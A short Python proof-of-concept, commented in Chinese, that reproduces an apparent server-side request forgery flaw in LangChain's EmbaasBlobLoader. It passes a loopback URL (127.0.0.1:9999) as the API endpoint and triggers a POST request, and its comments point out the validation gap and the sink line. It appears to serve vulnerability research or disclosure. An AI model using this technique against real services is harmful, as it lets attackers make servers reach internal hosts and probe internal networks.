import sys import os # 自动定位到我的代码库路径 # 如果你的路径有变,请修改这一行 sys.path.append("/mnt/d/GitHub_Projects/langchain/libs/langchain") try: from langchain_community.document_loaders.embaas import EmbaasBlobLoader from langchain_community.document_loaders.blob_loaders import Blob except ImportError: # 兼容旧版本路径 from langchain.document_loaders.embaas import EmbaasBlobLoader from langchain.document_loaders.blob_loaders import Blob def run_test(): # 【投毒点】我们将 URL 设置为本地回环地址的特殊端口 # 模拟攻击者尝试探测服务器本地的 9999 端口 target_url = "http://127.0.0.1:9999" print(f"[*] 步骤 1: 注入恶意地址 -> {target_url}") # 初始化 Loader。参数通过 values 字典进入第 65 行的验证函数 # 由于第 65-71 行只查 Key 不查 URL,毒素会成功存入 self.api_url loader = EmbaasBlobLoader( embaas_api_url=target_url, embaas_api_key="test_key" ) print("[*] 步骤 2: 触发请求 (Sink 点: 第 149 行)") try: # 构造简单数据并加载,迫使程序执行 requests.post blob = Blob.from_data(b"hello") list(loader._get_documents(blob)) except Exception as e: # 如果你看到 ConnectionRefused 且指向 127.0.0.1,说明 SSRF 成功! print(f"\n[!] 漏洞复现成功!服务器已尝试访问非法地址。") print(f"[!] 报错详情: {e}") if __name__ == "__main__": run_test()